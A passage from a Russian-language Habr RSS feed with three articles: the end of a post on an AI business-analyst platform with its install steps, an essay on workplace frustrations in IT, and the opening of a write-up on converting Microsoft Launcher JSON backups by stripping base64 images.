и не требует пересмотра ADR-002.&lt;p&gt;Вынести на согласование с коммерческим директором?&lt;/blockquote&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Андрей:&lt;/strong&gt; Да. И подготовь аргументы — почему реальное время невозможно без последствий.&lt;/blockquote&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;AIналитик:&lt;/strong&gt; Готово. Аргументы для встречи:&lt;p&gt;Реальное время означает обращение к внешнему API при каждом открытии маршрута. Сейчас система обрабатывает до 800 запросов в минуту в пиковые часы. Добавление внешнего вызова увеличит среднее время отклика с текущих 320 мс до расчётных 680-900 мс — это нарушает SLA, согласованный с клиентами в NFR-003.&lt;p&gt;Асинхронный вариант: CO₂ пересчитывается в фоне раз в 15 минут. Для ESG-отчёта это абсолютно достаточно — отчёты формируются раз в квартал.&lt;/blockquote&gt;&lt;hr&gt;&lt;h4&gt;Что получает Андрей&lt;/h4&gt;&lt;p&gt;Он приходит к коммерческому директору не с отказом, а с данными и альтернативой. Разговор из «вы не хотите делать» превращается в «вот почему именно так и как мы это реализуем». CR принят — но в варианте, который не создаёт технического долга.&lt;p&gt;И важное: никто не «забыл» про три тест-кейса и архитектурное решение по кэшированию. Они в списке затронутых артефактов — их обновят до начала разработки, а не после.&lt;h4&gt;Что происходит под капотом&lt;/h4&gt;&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;Бизнес-аналитик с этим не работает напрямую — Платформа всё делает автоматически.&lt;/em&gt;&lt;/blockquote&gt;&lt;p&gt;MCP-сервер задачи 5.4 (&lt;code&gt;requirements_assess_changes_mcp&lt;/code&gt;) при получении CR выполняет обход графа трассировки в &lt;code&gt;traceability_repo.json&lt;/code&gt; по алгоритму BFS (поиск в ширину) — находит все артефакты, связанные с изменяемыми требованиями, включая зависимости второго и третьего уровня. Инструмент &lt;code&gt;score_cr&lt;/code&gt; присваивает оценку на основе количества затронутых артефактов, наличия конфликтов с NFR и сложности изменений. Статусы всех затронутых требований обновляются автоматически — помечаются как «требуют проверки в связи с CR-011». Результат сохраняется в &lt;code&gt;Decision Log&lt;/code&gt; через &lt;code&gt;elicitation_collaborate_mcp&lt;/code&gt;.&lt;/div&gt;&lt;/details&gt;&lt;h3&gt;Что вам понадобится для работы&lt;/h3&gt;&lt;p&gt;Перед установкой убедитесь, что на компьютере есть:&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;Python 3.10&lt;/code&gt; или новее — если не уверены, проверьте командой &lt;code&gt;python --version&lt;/code&gt; в терминале. Питон нужен для работы 22-ух mcp серверов и 3-х скриптов (&lt;code&gt;common.py&lt;/code&gt; и &lt;code&gt;phase.py&lt;/code&gt; - два очень важных архитектурных скрипта и &lt;code&gt;export_pdf.py&lt;/code&gt; - скрипт для экспорта &lt;code&gt;.md&lt;/code&gt; в &lt;code&gt;.pdf&lt;/code&gt;).&lt;li&gt;&lt;p&gt;&lt;code&gt;pip&lt;/code&gt; — менеджер пакетов Python (обычно идёт вместе с Python)&lt;li&gt;&lt;p&gt;Учётная запись &lt;code&gt;Anthropic&lt;/code&gt; — план Pro или выше, можно оформить на &lt;code&gt;claude.ai&lt;/code&gt;.&lt;/ol&gt;&lt;p&gt;Опционально нужен редактор, я рекомендую использовать с &lt;code&gt;Claude Code&lt;/code&gt; редактор &lt;code&gt;VS Code&lt;/code&gt;.&lt;p&gt;VS Code можно скачать на &lt;a href=https://code.visualstudio.com rel=&#34;noopener noreferrer nofollow&#34;&gt;code.visualstudio.com&lt;/a&gt;&lt;details class=spoiler&gt;&lt;summary&gt;Руководство разработчика&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;p&gt;Подробную документацию об архитектуре Платформы вы найдете в руководстве разработчика, файл с документом находится в репозитории в папке &lt;code&gt;docs/developer-guide/&lt;/code&gt;&lt;/div&gt;&lt;/details&gt;&lt;h3&gt;Установка платформы&lt;/h3&gt;&lt;pre&gt;&lt;code class=bash&gt;# 1. Скачайте репозиторий&#xA;git clone https://github.com/chaussky/ainalyst.git&#xA;cd ainalyst&#xA;# 2. Установите зависимости&#xA;pip install -r requirements.txt&#xA;# 3. Настройте переменные окружения, для этого переименуйте файл .env.example  -&amp;gt; .env&#xA;cp .env.example .env&#xA;# Откройте .env и заполните API-ключи для конфлюенс&#xA;# Запустите claude code&#xA;claude&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Процедура установки Платформы очень подробно описана в файлах документации. Начните изучение хотя бы с файла &lt;code&gt;readme.md&lt;/code&gt;, который расположен в корне репозитория. Даже его будет достаточно, чтобы запустить AIналитика!&lt;h3&gt;Планы на будущее&lt;/h3&gt;&lt;p&gt;Самые ближайшие это разработать специализированных субагентов, которые можно было бы запускать параллельно. Каждый субагент будет выполнять какой-то свой большой объем работы, при необходимости коммуницировать с другими, запущенными параллельно. Я думаю, что субагенты могут зайти в задачах Главы 4. Так же полагаю, что субагенты будут полезны для обработки change request. Пока вопрос глубоко не изучал еще.&lt;p&gt;Есть также идея разработать чат-бота, который проводит интервью со стейкхолдерами. Эта идея процентов на 60% реализована. Бот будет задавать вопросы стейкхолдеру с учетом всей имеющейся информации о проекте. Проводить интервью через бота или самостоятельно бизнес аналитик будет решать сам. AIналитик только даст свои рекомендации и советы по целесообразности такого сценария на основе данных о стейкхолдере и собранного контекста. Возможно применять бота для интервьюирования споносора и других важных стейкхолдеров не стоит, лучше это сделать лично, а вот для довыявления и задавания уточняющих вопросов - можно.&lt;p&gt;Среднесрочные планы это попробовать запустить AIналитика на разных больших языковых моделях (китайских) и других агентах. Наибольший интерес с практической точки зрения представляют локальные модели и опенсорсные агенты типа OpenCode. Нужно будет поэкспериментировать с разными, посмотреть какое качество они дают. Тогда можно будет обеспечить работу AIналитика внутри контура компании, не отправляя данные во вне.&lt;p&gt;Более детальную информацию по Платформе вы найдете в папке &lt;code&gt;docs/&lt;/code&gt; репозитория.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>chaussky</author>
      <guid>https://habr.com/ru/articles/1024844/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024844</guid>
      <pubDate>Fri, 17 Apr 2026 18:16:03 +0000</pubDate>
    </item>
    <item>
      <title>Что меня бесит в IT после 3 лет в профессии</title>
      <link>https://habr.com/ru/articles/1024836/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024836</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;После трех лет в IT меня меньше всего бесит код. Код хотя бы честная сущность. Если он сломан, он обычно не делает вид, что это часть командной культуры.&lt;p&gt;Гораздо сильнее меня начали бесить вещи вокруг разработки. Не самые красивые слова, знаю. Но после какого-то момента романтика про “интересные задачи”, “сильные команды” и “рост в профессии” сталкивается с довольно приземленной реальностью: люди, процессы, ответственность, созвоны и куча шума вокруг работы, который почему-то очень часто выдают за саму работу.&lt;p&gt;Я пишу это не как человек с двадцатью годами опыта и спокойствием Будды. Я пишу это как человек, который всего три года в профессии, но уже достаточно насмотрелся, чтобы понять простую вещь: чаще всего выматывает не сложность. Выматывает хаос, который взрослые люди почему-то считают нормой.&lt;h3&gt;Меня бесит безответственность&lt;/h3&gt;&lt;p&gt;Если ты делаешь бизнес, нанимаешь людей, обещаешь процессы, сроки, продукт, деньги, рост и нормальную работу, было бы неплохо сначала научиться отвечать за свои решения.&lt;p&gt;Меня правда раздражают компании и руководители, которые хотят играть в “мы строим серьезный продукт”, но при этом живут в режиме бесконечной импровизации. Сегодня у задачи один приоритет, завтра другой. Сегодня “это срочно”, через два дня про это уже никто не помнит. Сегодня наняли человека под одну роль, через неделю внезапно выясняется, что вообще-то от него ждали совсем другого, просто никто нормально это не сформулировал.&lt;p&gt;И вот это для меня одна из самых неприятных вещей. Потому что это не сложность рынка. Это не форс-мажор. Это не “ну всякое бывает”. Это обычная взрослая безответственность, за которую почему-то расплачиваются все вокруг, кроме тех, кто ее производит.&lt;p&gt;Особенно странно это выглядит в моменте найма. Если ты не умеешь строить процессы, не понимаешь, как ставить задачи, не можешь держать слово и вообще не очень представляешь, зачем тебе команда, может, не надо пока делать вид, что ты строишь компанию. Бизнес - это не ролевка в стиле “давайте попробуем побыть взрослыми”. Когда ты берешь человека на работу, ты берешь на себя вполне реальную ответственность за его время, деньги, нервы и кусок жизни.&lt;p&gt;И да, я понимаю, что идеальных мест не бывает. Но между “в любой работе есть шероховатости” и “вся система держится на авось” разница все-таки огромная.&lt;h3&gt;Меня бесит эмоциональная незрелость в команде&lt;/h3&gt;&lt;p&gt;Есть отдельный тип боли, который вообще не связан с кодом. Это люди, которым почему-то очень хочется работать в коллективе, хотя само существование других людей их буквально раздражает.&lt;p&gt;Я сейчас не про интроверсию. Не про усталость. Не про плохой день. Я про эмоциональную незрелость, которая потом маскируется под “я просто прямой человек”, “я такой требовательный”, “я не люблю тупые вопросы”, “ну я же сказал по фактам”.&lt;p&gt;На практике это обычно выглядит очень скучно: человек не умеет нормально обсуждать, слышит в любом уточнении наезд, на любое замечание реагирует как на личное оскорбление, а любую рабочую дискуссию превращает в странный конкурс пассивной агрессии.&lt;p&gt;И вот это для меня одна из самых утомительных вещей в IT. Потому что техническую проблему еще можно разобрать. Можно открыть код, документацию, логи, diff, найти причину, переделать. А когда взрослый человек не умеет не раздражаться от чужого вопроса, чужой формулировки или просто самого факта диалога, это уже совсем другая категория проблемы.&lt;p&gt;Самое ироничное, что в профессии, где все любят говорить про командную работу, коммуникацию и engineering culture, огромное количество энергии все еще тратится на очень базовую вещь: научиться разговаривать так, чтобы после созвона никому не хотелось закрыть ноутбук и исчезнуть в лесу.&lt;h3&gt;Да, я не люблю писать тесты&lt;/h3&gt;&lt;p&gt;Сейчас будет социально опасный момент.&lt;p&gt;Я не люблю писать тесты.&lt;p&gt;Сразу уточню, чтобы меня мысленно не вынесли из профессии: я понимаю, зачем они нужны. Я радуюсь, когда хороший тест ловит регресс до продакшена. Я понимаю ценность проверок на критических сценариях. Я вижу, как нормальный test suite делает систему спокойнее и предсказуемее. Все это правда.&lt;p&gt;Но любить сам процесс написания тестов я пока так и не научилась.&lt;p&gt;Особенно когда тесты пишутся не потому, что это правда снижает риск, а потому что “ну у нас должно быть 80% coverage”. Особенно когда unit-тест знает о внутренностях реализации больше, чем стоило бы, и падает не потому, что сломалось поведение, а потому что кто-то слегка переставил мебель в коде. Особенно когда e2e превращается в ритуал вызова дождя: локально зелено, в CI красно, потом наоборот, потом все делают вид, что проблема временная.&lt;p&gt;Наверное, меня раздражают не сами тесты, а имитация инженерной зрелости через тесты. Когда вместо реального вопроса “что здесь действительно опасно сломать?” включается механика “давайте просто обложим все проверками и будем надеяться на лучшее”.&lt;p&gt;Я люблю надежные системы. Я люблю, когда после релиза не страшно. Я люблю, когда критичные сценарии защищены. Но сам процесс написания тестов до сих пор не вызывает у меня никакой романтики. И, если честно, мне даже нравится иногда говорить это вслух. Хотя бы потому, что в IT слишком много вещей принято обсуждать как догму, а не как живую практику со всеми ее компромиссами.&lt;h3&gt;Меня бесит не медленное мышление, а вязкость&lt;/h3&gt;&lt;p&gt;Я не про людей, которым нужно время подумать. У меня как раз нет претензий к нормальной рабочей медлительности, когда человек проверяет гипотезу, не делает резких глупостей, задает вопросы и в итоге приходит к сильному решению.&lt;p&gt;Меня бесит именно вязкость.&lt;p&gt;Это тот режим, в котором один merge request можно обсуждать пять часов на созвоне. Когда вместо комментариев в diff собирают отдельную встречу, потом еще одну встречу, потом “давайте синкнемся после обеда”, а потом внезапно выясняется, что все это время спорили о вещи, которая вообще должна была быть зафиксирована в правилах команды еще полгода назад.&lt;p&gt;Вот это меня бесит.&lt;p&gt;Не потому, что я за бездумный speedrun разработки. А потому, что очень часто за такой медлительностью нет глубины. Там нет исследования, нет особой аккуратности, нет сложности задачи. Там просто нет структуры. Нет договоренностей. Нет умения заранее определить, что именно мы считаем good enough и где вообще заканчивается обсуждение.&lt;p&gt;В такие моменты особенно хорошо видно, что выгорание в IT рождается не только от нагрузки. Оно прекрасно рождается от ощущения вязкого бессилия, когда огромный объем времени уходит не на работу, а на процесс вокруг работы.&lt;p&gt;Чтобы это не выглядело как чистый эмоциональный монолог, коротко та же картина в таблице.&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;Что бесит&lt;th&gt;&lt;p align=left&gt;Как это выглядит в работе&lt;th&gt;&lt;p align=left&gt;Чем заканчивается&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Безответственность&lt;td&gt;&lt;p align=left&gt;плавающие приоритеты, обещания без ресурсов, найм “на авось”&lt;td&gt;&lt;p align=left&gt;переделки, срывы, нервная команда&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Незрелость&lt;td&gt;&lt;p align=left&gt;пассивная агрессия, обиды на уточнения, токсичные обсуждения&lt;td&gt;&lt;p align=left&gt;тяжелые созвоны и потеря нормальной коммуникации&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Тесты ради галочки&lt;td&gt;&lt;p align=left&gt;coverage ради отчета, хрупкие проверки, флейки в CI&lt;td&gt;&lt;p align=left&gt;ложное чувство надежности и раздражение команды&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Вязкость&lt;td&gt;&lt;p align=left&gt;бесконечные созвоны, пять часов на один MR, отсутствие правил&lt;td&gt;&lt;p align=left&gt;потеря темпа и ощущение бессмысленности&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;Теперь про техническую часть, которая правда выматывает&lt;/h3&gt;&lt;p&gt;Если убрать эмоции и оставить только инженерную суть, то меня сильнее всего выматывают четыре вещи.&lt;p&gt;Первая - отсутствие нормальных контрактов. Когда у вас нет понятных API, нет четких границ между слоями, нет договоренностей по данным, именованию, поведению компонентов и сценариям ошибок, любая мелкая правка начинает выглядеть как мини-экспедиция в неизвестность. Ты открываешь вроде бы небольшой кусок задачи, а через полчаса уже не очень понимаешь, это локальная правка или приглашение в археологический тур по легаси.&lt;p&gt;Вторая - хаос, который выдают за гибкость. Мне вообще кажется, что в IT слово “гибкость” иногда используют как очень вежливый синоним фразы “мы пока ничего нормально не договорили”. Гибкость хороша там, где есть сильная база. А когда базы нет, гибкость очень быстро превращается в ситуацию, где каждый пишет как чувствует, каждый понимает архитектуру по-своему, а общий проект потом каким-то чудом должен собраться в единое целое.&lt;p&gt;Третья - культ бесконечных обсуждений вместо инженерных решений. Есть вещи, которые реально надо обсуждать: архитектурные развилки, риски, миграции, публичные контракты, критичные продуктовые сценарии. Но очень много того, что у нас принято тащить в часовые созвоны, можно было бы решить нормальным описанием правил, коротким RFC, адекватным code review или просто способностью формулировать мысль письменно.&lt;p&gt;И четвертая - технический долг, на который все смотрят как на погоду. Как будто это стихийное бедствие, а не результат вполне конкретных решений. Когда в проекте копятся хрупкие абстракции, дублирование, полумертвые слои, костыли поверх костылей, нестабильные тесты и странные временные решения, это не просто делает код некрасивым. Это делает любую будущую работу дороже. В какой-то момент ты уже не разрабатываешь, а все время платишь проценты по чужим вчерашним компромиссам.&lt;p&gt;Если разложить это по слоям, картина обычно выглядит так:&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;Слой&lt;th&gt;&lt;p align=left&gt;В идеале&lt;th&gt;&lt;p align=left&gt;В реальности, которая бесит&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Бизнес&lt;td&gt;&lt;p align=left&gt;дает приоритеты и держит рамку&lt;td&gt;&lt;p align=left&gt;дергает фокус каждые два дня&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Команда&lt;td&gt;&lt;p align=left&gt;спорит по делу и фиксирует решения&lt;td&gt;&lt;p align=left&gt;уходит в эмоции и бесконечные обсуждения&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Код&lt;td&gt;&lt;p align=left&gt;имеет контракты и предсказуемое поведение&lt;td&gt;&lt;p align=left&gt;разваливается от каждой “маленькой” правки&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Тесты&lt;td&gt;&lt;p align=left&gt;страхуют критичные сценарии&lt;td&gt;&lt;p align=left&gt;создают шум, флейки и красивую статистику&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Ревью&lt;td&gt;&lt;p align=left&gt;ускоряет качество решения&lt;td&gt;&lt;p align=left&gt;становится затяжной терапией на весь день&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;И все-таки меня бесит не профессия&lt;/h3&gt;&lt;p&gt;Самое смешное, что после всего этого я не разлюбила саму разработку.&lt;p&gt;Мне по-прежнему нравится собирать интерфейсы, разбираться в логике, упрощать сложное, находить слабые места в системе, превращать хаос в более понятную структуру. Мне нравится момент, когда задача из расплывчатого “что-то не так” превращается во вполне конкретное инженерное решение. Мне нравится, когда код становится яснее, а продукт - внятнее.&lt;p&gt;Меня бесит не IT как профессия. Меня бесит количество лишнего шума вокруг нее.&lt;p&gt;Меня бесит, когда взрослые люди не хотят быть взрослыми. Когда ответственность подменяют энтузиазмом. Когда зрелость подменяют резкостью. Когда инженерную работу подменяют бесконечными разговорами о работе. Когда надежность подменяют цифрой coverage. Когда темп подменяют пятичасовым обсуждением одного MR.&lt;p&gt;И, наверное, это даже не самый плохой симптом после трех лет в профессии.&lt;p&gt;Потому что, если честно, гораздо хуже было бы привыкнуть к этому и начать считать нормой.&lt;p&gt;Код хотя бы можно открыть, прочитать и поправить. С некоторыми процессами и людьми такой роскоши пока не завезли.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>varvaratikh</author>
      <guid>https://habr.com/ru/articles/1024836/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024836</guid>
      <pubDate>Fri, 17 Apr 2026 17:51:31 +0000</pubDate>
    </item>
    <item>
      <title>Получение текстового и машиночитаемого представления из Microsoft Launcher</title>
      <link>https://habr.com/ru/articles/1024832/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024832</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;a class=anchor id=tldr&gt;&lt;/a&gt;&lt;p&gt;TL;DR Автору понадобилось экспортировать состояние домашнего экрана Microsoft Launcher. Для этого пришлось написать два скрипта и столкнуться с различными проблемами. Кому нужна сразу инструкция, &lt;a href=https://habr.com/rss/all/all/#heading-1-5 rel=&#34;noopener noreferrer nofollow&#34;&gt;тык сюда&lt;/a&gt;.&lt;/p&gt;&lt;a class=anchor id=disclaimers&gt;&lt;/a&gt;&lt;h4&gt;Дисклеймеры&lt;/h4&gt;&lt;p&gt;&lt;a href=https://github.com/Kenya-West/licenses/blob/master/habr/DISCLAIMER%20(ru).md rel=&#34;noopener noreferrer nofollow&#34;&gt;Общий дисклеймер&lt;/a&gt; • &lt;a href=https://github.com/Kenya-West/licenses/blob/master/habr/AUTHOR%20(ru).md rel=&#34;noopener noreferrer nofollow&#34;&gt;О личности автора&lt;/a&gt; • &lt;a href=https://github.com/Kenya-West/licenses/blob/master/habr/DENIAL%20OF%20RESPONSIBILITY%20(ru).md rel=&#34;noopener noreferrer nofollow&#34;&gt;Отказ от ответственности&lt;/a&gt; • &lt;a href=https://github.com/Kenya-West/licenses/blob/master/habr/CHATGPT%20(ru).md rel=&#34;noopener noreferrer nofollow&#34;&gt;Об использовании ChatGPT&lt;/a&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Для сведущих в JS и в операциях с JSON: никаких срывов прокровов тут не будет, это простейшие манипуляции с объектами JavaScript посредством NodeJS.&lt;/ul&gt;&lt;a class=anchor id=abstract&gt;&lt;/a&gt;&lt;h4&gt;Аннотация&lt;/h4&gt;&lt;p&gt;Рассмотрен вопрос конвертации JSON-экспорта из Microsoft Launcher в текстовое и машиночитаемое представление. Представлено два скрипта: первый для очистки и подготовки бекапа лаунчера, второй для конвертации данных в нужный формат. В статье обсуждаются проблемы, связанные с различными приколами файла экспорта Microsoft Launcher и его структурами данных (например, это base64-данные, которые попусту занимали много места). Представлена инструкция для полного цикла очистки, подготовки и конвертации данных из Microsoft Launcher. У автора это был самый первый опыт вайб-кодинга.&lt;/p&gt;&lt;a class=anchor id=intro&gt;&lt;/a&gt;&lt;h3&gt;Введение&lt;/h3&gt;&lt;p&gt;Когда вы полностью зависимы от одного лаунчера от одного производителя, и меняете его на другой, где установлено иное приложение домашнего экрана, то возникает большая трата времени по настройке нового лаунчера - все эти перетыки иконок, папок, виджетов и так далее. Хотелось бы иметь возможность экспортировать состояние домашнего экрана хотя бы чисто для себя - в какой, например, папке у меня какие приложения, какие виджеты и так далее. Было бы ещё круто иметь машиночитаемое представление, чтобы можно было в будущем, если появится такая возможность, сконвертировать эти данные в новый формат, который будет поддерживать новый лаунчер (вдруг получится?). В общем, я решил написать скрипт, который бы конвертировал JSON-экспорт из Microsoft Launcher в текстовое и машиночитаемое представление. Но оказалось, что это не так просто, как я думал.&lt;/p&gt;&lt;a class=anchor id=heading-1-1&gt;&lt;/a&gt;&lt;h3&gt;Мой случай&lt;/h3&gt;&lt;p&gt;У меня установлено около 550 приложений, они распределены по 5 страницам домашнего экрана. Есть папки, виджеты и так далее.&lt;p&gt;Есть первый экран - “глобальный”, он содержит до 20 папок, где внутри по 60 приложений. В “глобальном” экране я кладу ярлыки только тех приложений, которые будут актуальны для любой юрисдикции, где бы я ни находился - например, браузер, почта, мессенджеры, карты, тулзы/утилиты и т. д.&lt;p&gt;Дальше идут “региональные” экраны, где я размещаю приложения, которые могут быть специфичны для определённой страны. Те самые нацмессенджеры, местные сервисы и так далее. В каждом “региональном” экране либо тупо список приложений, либо папки с приложениями по удобству.&lt;p&gt;В конце идут фирменные лаунчеровские виджеты, типа времени проведения за экраном, статистики запусков, статистика прилётов, расчёт траектории попадания, кнопка запуска COVID-19, “Райан Гослинг каждый день”, цитаты Стетхема, новые расистские панчи против белых и всё в таком духе.&lt;p&gt;Самое ценное здесь - ярлыки и папки приложений, так как организовывался этот экран несколько (четыре) лет подряд, и терять наработки ой как не хочется. Казалось бы, в чём проблема? На старом устройстве ты делаешь бекап, на новом - импортируешь. Но что, если мне придётся сменить лаунчер? Часто они не поддерживают импорт/экспорт из сторонних программ домашних экранов, а помнишь, в какой из 60 папок какие из 550 приложений находятся - я как-то не очень в этом. Даже если мне придётся раскладывать всё это вручную, я хотел бы иметь файл-помощник, который содержал бы список всех приложений, их расположение на домашнем экране, какие папки и виджеты есть, и так далее. И желательно, чтобы этот файл был в удобном для чтения формате как человеком, так и для машины.&lt;p&gt;Я хотел бы иметь возможность видеть всю эту схему текстом. Я нашёл, что Microsoft Launcher позволяет экспортировать данные в формате JSON, но этот файл был огромным - около 17 МБ. Я решил написать скрипт на JS, который бы конвертировал этот JSON в более удобный формат. Но когда я начал разбирать структуру данных, я столкнулся с проблемой - многие (бесполезные) данные были закодированы в base64 и занимали много места. Решено: сначала делаем скрипт для очистки и подготовки бекапа лаунчера, а уже потом - скрипт для конвертации данных в нужный формат.&lt;p&gt;Будем, кстати, вайб-кодить (это новое слово от слонов и слоних Кремниевой долины, я уверен, будет на ходу через полгода). Как раз GPT-4 вышла, и вроде бы она научилась что-то внятное генерировать. Погнали!&lt;/p&gt;&lt;a class=anchor id=heading-1-2&gt;&lt;/a&gt;&lt;h3&gt;1. Делаем бекап, разбираем его&lt;/h3&gt;&lt;p&gt;Что там сложного-то? Записывайте!&lt;ul&gt;&lt;li&gt;&lt;p&gt;Открываете настройки лаунчера;&lt;li&gt;&lt;p&gt;Заходите в настройки;&lt;li&gt;&lt;p&gt;Выбираете “Резервное копирование и восстановление”;&lt;li&gt;&lt;p&gt;Выбираете “Создание резервной копии Microsoft Launcher”;&lt;li&gt;&lt;p&gt;Куда-то там копируете, например, в облако OneDrive.&lt;/ul&gt;&lt;p&gt;Получается такой файл, что-то типа &lt;code&gt;Arrow36backup17899665511220.zip&lt;/code&gt;. Распаковываем. Внутри - единственный файл &lt;code&gt;launcher_backup_main.bak&lt;/code&gt;. Меняем расширение на &lt;code&gt;.json&lt;/code&gt; и открываем его в любом текстовом редакторе.&lt;p&gt;Предупреждаю, это от 3 до 24 МБ данных, которые не каждый редактор может переварить!&lt;details class=spoiler&gt;&lt;summary&gt;Как выглядит JSON-файл&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/webt/85/92/05/859205b4a5a2c39f4d652bc2c0a2d796.png alt=&#34;М-да-а-а-а... А на что я вообще рассчитывал?&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/webt/85/92/05/859205b4a5a2c39f4d652bc2c0a2d796.png 780w,&#xA;       https://habrastorage.org/r/w1560/webt/85/92/05/859205b4a5a2c39f4d652bc2c0a2d796.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;М-да-а-а-а... А на что я вообще рассчитывал?&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;Видим, что это JSON-структура, которая содержит много данных о нашем домашнем экране, папках, виджетах и так далее. Но там же есть много бесполезных данных, которые закодированы в base64 и занимают много места. Для нашего текстового представления нам эти данные не нужны, поэтому мы будем их удалять.&lt;details class=spoiler&gt;&lt;summary&gt;Пример данных, закодированных в base64&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/webt/d2/86/f8/d286f816fefb117d586217cfa774f9bb.png alt=&#34;Пример данных, закодированных в base64&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/webt/d2/86/f8/d286f816fefb117d586217cfa774f9bb.png 780w,&#xA;       https://habrastorage.org/r/w1560/webt/d2/86/f8/d286f816fefb117d586217cfa774f9bb.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Пример данных, закодированных в base64&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;Поэтому я написал скрипт на JS, который бы проходился по всему JSON-дереву, находил все строки, которые выглядят как base64, и удалял их.&lt;/p&gt;&lt;a class=anchor id=heading-1-3&gt;&lt;/a&gt;&lt;h3&gt;2. Разработка скрипта очистки: что пошло не так и как это решалось&lt;/h3&gt;&lt;p&gt;Начнём со списка проблем:&lt;/p&gt;&lt;a class=anchor id=heading-1-3-1&gt;&lt;/a&gt;&lt;h4&gt;Проблема №1: base64 - не просто строки&lt;/h4&gt;&lt;p&gt;В бекапе Microsoft Launcher медиа представлены не в одном формате, это могут быть:&lt;ul&gt;&lt;li&gt;&lt;p&gt;обычный base64;&lt;li&gt;&lt;p&gt;base64url (&lt;code&gt;-&lt;/code&gt; и &lt;code&gt;_&lt;/code&gt; вместо &lt;code&gt;+&lt;/code&gt; и &lt;code&gt;/&lt;/code&gt;);&lt;li&gt;&lt;p&gt;data URL (&lt;code&gt;data:image/png;base64,...&lt;/code&gt;);&lt;li&gt;&lt;p&gt;строки с “реальными” переносами, не экранированными;&lt;li&gt;&lt;p&gt;строки с переводами каретки &lt;code&gt;\n&lt;/code&gt;, &lt;code&gt;\r&lt;/code&gt;, &lt;code&gt;\t&lt;/code&gt; прямо внутри текста.&lt;/ul&gt;&lt;p&gt;Последний случай особенно неприятный: JSON валиден, но данные внутри строки — «разорванные». Простое регулярное выражение перестаёт работать.&lt;p&gt;Решил это дело нормализацией строки, сносил whitespace’ы и разворачивал (десериализовывал) escape-последовательности (иногда двойные).&lt;/p&gt;&lt;a class=anchor id=heading-1-3-2&gt;&lt;/a&gt;&lt;h4&gt;Проблема №2: как понять, что это именно изображение&lt;/h4&gt;&lt;p&gt;Расписал техзхадание, цели, ценности, контекст в OpenAI ChatGPT. Конечно, сказывается лимит в 20 000 знаков, после которого ихнее окошко ввода начинает безб-жно виснуть, поэтому копируем это всё из VS Code.&lt;p&gt;Спросил у нейросетки, как отличить изображения от любой другой длинной строки, ну и попросил накидать алгоритм. С техзаданием оно поплыло мощно, выдало несуразицу про жестокость контента (видимо, впихивание большого контекста для модели - это издевательство над её электронными мозгами).&lt;p&gt;Получилось примерно так по детекту экранированных медиа:&lt;ul&gt;&lt;li&gt;&lt;p&gt;декодировать base64 в буфер;&lt;li&gt;&lt;p&gt;проверить сигнатуры файлов:&lt;ul&gt;&lt;li&gt;&lt;p&gt;PNG (&lt;code&gt;89 50 4E 47&lt;/code&gt;);&lt;li&gt;&lt;p&gt;JPEG (&lt;code&gt;FF D8&lt;/code&gt;);&lt;li&gt;&lt;p&gt;GIF (&lt;code&gt;47 49 46&lt;/code&gt;);&lt;li&gt;&lt;p&gt;WEBP (&lt;code&gt;RIFF...WEBP&lt;/code&gt;);&lt;li&gt;&lt;p&gt;TIFF, BMP, HEIF/AVIF;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;плюс попытка распознать SVG через текст.&lt;/ul&gt;&lt;p&gt;Остальные блобы оно не трогает (их и не будет, по идее).&lt;/p&gt;&lt;a class=anchor id=heading-1-3-3&gt;&lt;/a&gt;&lt;h4&gt;Проблема 